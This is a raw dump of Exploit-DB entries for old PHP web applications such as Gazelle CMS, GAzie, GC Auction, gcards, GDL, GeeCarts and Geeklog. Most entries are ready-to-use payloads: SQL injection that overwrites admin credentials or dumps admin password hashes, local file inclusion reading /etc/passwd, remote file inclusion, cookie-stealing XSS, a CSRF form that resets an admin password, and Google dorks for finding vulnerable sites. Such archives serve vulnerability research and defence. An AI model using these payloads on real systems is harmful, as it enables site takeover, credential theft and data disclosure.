deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18470
Description: Gazelle CMS 1.0 - Update Statement SQL Injection
Type: webapps
Platform: php
Date: 2012-02-08
Author: hackme

Exploit:
# Exploit Title: Ananta Gazelle CMS - Update Statement Sql injection
# Google Dork: -
# Date: 07-02-2012
# Author: hackme
# Software Link: http://sourceforge.net/projects/ananta/files/stable/Gazelle 1.0 stable/Ananta_Gazelle1.0.zip/
# Version: 1.0 stable
# Tested on: backbox 2.1
# CVE : -

[SORRY FOR MY BAD ENGLISH]

[+] This sql injection doesn't allow us to read the contents of the tables, but to do the update statement of the username and password of admin.
Since you can't enter a special chars as the apex, and then we don't change the username and password in what we want, we will copy the value of a column with default value in column username and password.
In fact we have:
	
	admin - username = 1
              - password = 1

[+] Vulnerable Code(forgot.php): 
[CODE]
if (!empty($_POST) && !isset($_POST["loginform"])) {
	// form submitted, set a new activation key for this user (however don't set the user to inactive, so no-one can block someone else's account
	$sql = "UPDATE ".$tableprefix.$_POST["table"]." SET ";
	
	if ($_POST["activate"] <> "") {
		$sql = $sql."activate='".$_POST["activate"]."'";
	}
	
	$sql = $sql." WHERE email"."='".$_POST["email"]."'";
	//no control 
	if (mysql_query($sql)) {
[/code]
[+] default table users columns: number,name,pass,email,activate,active,admin,joindate,showemail
[+] Risk: High
[+] Vuln Page: www.site.it/ananta/forgot.php

[+] Change admin username in "1" [POST-DATA]
email=&save=Save&table=users SET name=active where number=1--&activate=lol&location=/ananta/forgot.php

[+] Change admin password in "1" [POST-DATA]
email=v&save=Save&table=users SET pass=md5(active) where number=1--&activate=lol&location=/ananta/forgot.php

[+]...If You Really Want Something, You Can Have It...

[+] Greetz To: MZ
Exploit-DB #16183
Description: GAzie 5.10 - 'Login' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-17
Author: LiquidWorm

Exploit:
GAzie 5.10 (Login parameter) Multiple Remote Vulnerabilities


Vendor: Antonio de Vincentiis
Product web page: http://www.devincentiis.it, http://gazie.sourceforge.net
Affected version: 5.10

Summary: GAzie is a multi-company management program (ERP)
that runs on Apache web server with support for PHP and
Mysql database. Open Source web-based application for small
and medium enterprises.

Desc: GAzie is prone to a cross-site scripting and an SQL Injection
vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in
the browser of an unsuspecting user in the context of the affected site.
This may allow the attacker to steal cookie-based authentication credentials
and to launch other attacks. Compromising the entire database structure and
executing system commands is possible thru malicious SQL queries. The issues
exist in the 'login_admin.php' script thru the 'Login' parameter.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             liquidworm gmail com
                             Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2011-4995
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4995.php


04.02.2011


-------------------------------------------------------------------

POST /gazie/modules/root/login_admin.php HTTP/1.0

----
Content scenarios:

1.(SQLi):         Login=1[SQLi]&[CREDENTIAL_REDACTED]=Login
2.(bSQLi-timing): Login=lqwrm'+or+sleep(5)%23&[CREDENTIAL_REDACTED]=Login
3.(XSS):          Login=1"><script>alert(1)</script>&[CREDENTIAL_REDACTED]=Login

-------------------------------------------------------------------

Error gaz_dbi_get_row: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

-------------------------------------------------------------------
Exploit-DB #18464
Description: GAzie 5.20 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-02-05
Author: Giuseppe D'Inverno

Exploit:
========================================
GAzie <= 5.20 Cross Site Request Forgery
========================================

Author___: giudinvx
Email____: <giudinvx[at]gmail[dot]com>
Date_____: 5/02/2012
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
@Application Info:
Multicompany finance application written in PHP using a MySql
database backend for small to medium enterprise. It lets you
write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.
@Version 5.20http://sourceforge.net/projects/gazie/
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

<form enctype="multipart/form-data"
action="[localhost]/modules/config/admin_utente.php?Login=amministratore&Update"
method="POST">
<input type="hidden" name="Login" value="amministratore">
<input type="hidden" value="" name="Update">
<input type="text" value="Surname " name="Cognome" title="Cognome">
<input type="text" value="Name " name="Nome" title="Nome">
<input type="text" value="italian" name="lang">
<input type="text" value="9" name="Abilit"><br/>
Password
<input type="password" value="" name="Password"><br/><!-- at least
eight alphanumeric characters -->
Repeat password
<input type="password" value="" name="confpass"><br/>
<input type="submit" value="START THE GAME" name="Submit">	
</form>
Exploit-DB #21960
Description: gBook 1.4 - Administrative Access
Type: webapps
Platform: php
Date: 2002-10-22
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6033/info

A vulnerability has been discovered in gBook v1.4.

It has been reported that it is possible for an unauthorized attacker to gain administrative access to gBook by passing a malicious request to a php script.

Exploiting this issue could allow unauthorized attackers to execute arbitrary administrative actions against the target guestbook, such as corrupt valid user supplied entries. 

http://[Target]/gb/index.php?login=true
Exploit-DB #6144
Description: GC Auction Platinum - 'cate_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-27
Author: Hussin X

Exploit:
|___________________________________________________|
|
| GC Auction Platinum (cate_id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.greatclone.com/product_info.php?products_id=73
|
| DorK   : inurl:category.php?cate_id=
|___________________________________________________|



Exploit:  

www.[target].com/Script/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin--

Exploit:2

www.[target].com/Script/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3,4+from+admin--

 



L!VE DEMO: :


http://www.demosgreatclone.com/gca/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin--




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-27]
Exploit-DB #28784
Description: Gcards 1.13 - 'Addnews.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-11
Author: DeatH VirUs

Exploit:
source: https://www.securityfocus.com/bid/20461/info

gcards is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.13 is affected by this issue; other versions may also be affected.

This BID has been retired.

http://www.example.com/gcards/admin/addnews.php?languagefile=shell code
Exploit-DB #26427
Description: GCards 1.43 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-26
Author: svsecurity

Exploit:
source: https://www.securityfocus.com/bid/15216/info

gCards is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/ecards1/news.php?limit=%2527
Exploit-DB #11316
Description: GCP 2.0 datasets provided as BioCASE Web services - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-02
Author: R3VAN_BASTARD

Exploit:
========================================================================
#   .::GCP 2.0 datasets provided as BioCASE web services::.            #
#                  (Local File Inclusion)                              #
========================================================================
========================================================================
Author  : R3VAN_BASTARD
Site    : www.sux0r.net
Provider: http://www.biocase.org
========================================================================
[x] Vulnerability:/index.php?app=
========================================================================
[x] demo:
http://[server]/index.php?app=../../../../../../../../../etc/passwd%00&inc=dataset_details&dataset_id=625
http://[server]/index.php?app=../../../../../../../../../etc/passwd%00&inc=dataset_details&dataset_id=625
=========================================================================
saludos cordiales:
VALENCIA : S3T4N : YOGA0400 : JACK (PAMAN) : VRS-HCK : YADOY666
NOGE : OON_BOY : MADONK : KECEMPLUNG-KALEN : YUDIS : DECLINED
BADFELLAS.co : ALL HIP-HOP "satu atap" : BASS PRO "rhythm and Distortion"
MAINHACK : SERVER IS DOWN : ALL POINT BLANK PLAYER FEEL THE HEAD SHOT
=========================================================================
Exploit-DB #8228
Description: GDL 4.x - 'node' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-17
Author: g4t3w4y

Exploit:
*******************************************************************************************
   [ Discovered by g4t3w4y \ jkthackerlink[at]gmail.com ]
   [ transitory only http://jakartaweb.net/home/GDL-Digital-Library-SQL-Injection-Vulnerability.html :) ]
 ###################################################
 #  [ GDL v.4.x ]    SQL Injection Vulnerability   #
 ###################################################
 #
 # Script:
 # GDL 4.0 | htdocs .gz
 # GDL 4.0 | windows application
 # GDL 4.2 | htdocs .zip
 #
 # Script site: http://kmrg.itb.ac.id
 # Download: http://kmrg.itb.ac.id
 #
 # [SQL] Vuln : http://localhost/gdl.php?mod=browse&node=0+AND+1=2+UNION+SELECT+0,1,2--
 #
 # Bug: ./functions/browse.php (line: 286-311)
 #
 # function browse_child_list($node)
 # {
 #     $strsql = "SELECT folder.*, folder_tree.NODE
 #                FROM folder, folder_tree
 #                WHERE
 #                    folder_tree.PARENT = '$node' AND
 #                    folder_tree.NODE = folder.NODE ";
 #   
 #     $dbres = mysql_query($strsql);               
 #
 #    if ($dbres){
 #            while ($row = mysql_fetch_array($dbres)){                  //  SQL inj
 #            $html .= browse_folder_print($row,2);
 #        }       
 #
 #         if (!empty($html)){
 #             $box_html = "<table cellSpacing=0 cellPadding=2 border=0>$html</table>";
 #             return $box_html;
 #         } else {
 #             return NULL;
 #         }   
 #     } else {
 #         stdout_error(mysql_error());
 #         return NULL;
 #     }
 # }
 ##################################################
 # Greetz: cozmaster * E-C-H-O Team * and otherz..           #
 ##################################################

 [ g4t3w4y / 2009 ]

*******************************************************************************************

# milw0rm.com [2009-03-17]
Exploit-DB #31731
Description: GEDCOM_TO_MYSQL - '/PHP/index.php?nom_branche' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-05
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29048/info
 
GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/GEDCOM_to_MySQL2/php/index.php?nom_branche=[XSS]
Exploit-DB #31732
Description: GEDCOM_TO_MYSQL - '/PHP/info.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-05
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29048/info
  
GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom_branche=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/info.php?nom=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/info.php?prenom=[XSS]
Exploit-DB #31730
Description: GEDCOM_TO_MYSQL - '/PHP/prenom.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-05
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29048/info

GEDCOM_to_MySQL2 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/GEDCOM_to_MySQL2/php/prenom.php?nom_branche=[XSS]
http://www.example.com/GEDCOM_to_MySQL2/php/prenom.php?nom=[XSS]
Exploit-DB #31544
Description: GeeCarts - 'search.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-26
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/28470/info
 
GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.
 
All versions of GeeCarts are reported vulnerable.

http://www.example.com/search.php?id=[XSS or RFI]
Exploit-DB #31543
Description: GeeCarts - 'show.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-26
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/28470/info

GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.

All versions of GeeCarts are reported vulnerable.

http://www.example.com/show.php?id=[XSS or RFI]
Exploit-DB #31545
Description: GeeCarts - 'view.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-26
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/28470/info
  
GeeCarts is prone to multiple input-validation vulnerabilities, including remote file-include and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site; other attacks are also possible.
  
All versions of GeeCarts are reported vulnerable.

http://www.example.com/view.php?id=[XSS or RFI]
Exploit-DB #23000
Description: geeeekShop 1.4 - Information Disclosure
Type: webapps
Platform: php
Date: 2003-08-09
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8380/info

geeeekShop is prone to multiple information disclosure vulnerabilities. Passing invalid data as URI parameters to geeeekShop scripts, will cause an error message to be displayed, which contains installation path information. Additionally it has been reported that a remote attacker may access site configuration scripts, which may lead to the disclosure of potentially sensitive information.

http://www.example.com/shop/?category=xxxxxx&parent=0&page=x&/'
http://www.example.com/shop/php_files/site.config.php
Exploit-DB #11721
Description: GeekHelps ADMP 1.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-13
Author: ITSecTeam

Exploit:
#########################local file include / sql injection#################
Author: ItSecTeam

download from:http://geekhelps.net/download.php

script:ADMP

remote:yes

dork::D
*********************lfi*******************
vul1:/path/themes/colorvoid/footer.php
include("./themes/$style/info.php"); ?> line 3

vuls:themes/default-green/footer.php
themes/default-orange/footer.php
themes/default/footer.php

include("./themes/$style/info.php"); ?> line 4
--------------------------------------------

xpl lfi:/path/themes/colorvoid/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default-green/footer.php ?style=[lfi]%00

xpl lfi:/path/themes/default-orange/footer.php?style=[lfi]%00
xpl lfi:/path/themes/default/footer.php?style=[lfi]%00

xpl sql:/path/bannershow.php?click=' sql injection code

########################

discovered by ahmadbady

########################
Exploit-DB #38335
Description: Geeklog - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-27
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/58209/info

Geeklog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Geeklog 1.8.2 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/submit.php?type=calendar" method="post">
<input type="hidden" name="mode" value="Submit">
<input type="hidden" name="calendar_type" value=&#039;"><script>alert(document.cookie);</script>&#039;>
<input type="submit" id="btn">
</form>
Exploit-DB #21528
Description: Geeklog 1.3.5 - Calendar Event Form Script Injection
Type: webapps
Platform: php
Date: 2002-06-10
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/4974/info

Geeklog does not sufficiently sanitize script code from form fields, making it prone to script injection attacks.

Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website. 

Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt;
Exploit-DB #21628
Description: Geeklog 1.3.5 - HTML Attribute Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-07-19
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5270/info

A cross site scripting vulnerability has been reported for Geeklog. Reportedly, Geeklog does not properly sanitize user supplied input before being included when posting comments or writing stories.

Geeklog makes efforts to sanitize some malicious user supplied input by stripping out HTML elements that are used for scripting. However, Geeklog does not properly remove HTML attributes that are used for the same purpose. 

It is possible for an attacker to include malicious HTML code using the HTML attributes. As an example, if an attacker were to supply malicious HTML code as part of an onMouseOver JavaScript event, the malicious code would not be properly sanitized.

<b onMouseOver="self.location.href='http://localhost/geeklog/'">
Exploit-DB #21525
Description: Geeklog 1.3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2002-06-10
Author: Ahmet Sabri ALPER

Exploit:
source: https://www.securityfocus.com/bid/4969/info

Geeklog does not filter script code from URL parameters, making it prone to cross-site scripting attacks. Attacker-supplied script code may be included in a malicious link to the 'index.php' or 'comment.php' script. Such a malicious link might be included in a HTML e-mail or on a malicious webpage.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a host running Geeklog.

This issue has been reported to exist in Geeklog 1.3.5, earlier versions may also be susceptible to this issue. 

/index.php?topic=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
/comment.php?mode=display&sid=foo&pid=18&title=&lt;script&gt;alert(document.cookie)&lt;/script&gt;&type=article
Exploit-DB #22165
Description: Geeklog 1.3.7 - 'comment.php?cid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-01-14
Author: snooq

Exploit:
source: https://www.securityfocus.com/bid/6603/info

Geeklog is prone to a cross-site scripting vulnerability in the 'comment.php' script.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com//comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>
Exploit-DB #22166
Description: Geeklog 1.3.7 - 'Homepage User' HTML Injection
Type: webapps
Platform: php
Date: 2003-01-14
Author: snooq

Exploit:
source: https://www.securityfocus.com/bid/6604/info

Geeklog is prone to HTML injection attacks.

The user account 'Homepage' field is not sufficiently sanitized of HTML and script code. As a result, a malicious user may inject malicious HTML and script code into this field. When the malicious user's account information is displayed to other web users, the attacker-supplied code will be interpreted in their web client in the security context of the site hosting the vulnerable software.

http://url" onmouseover="alert(document.cookie)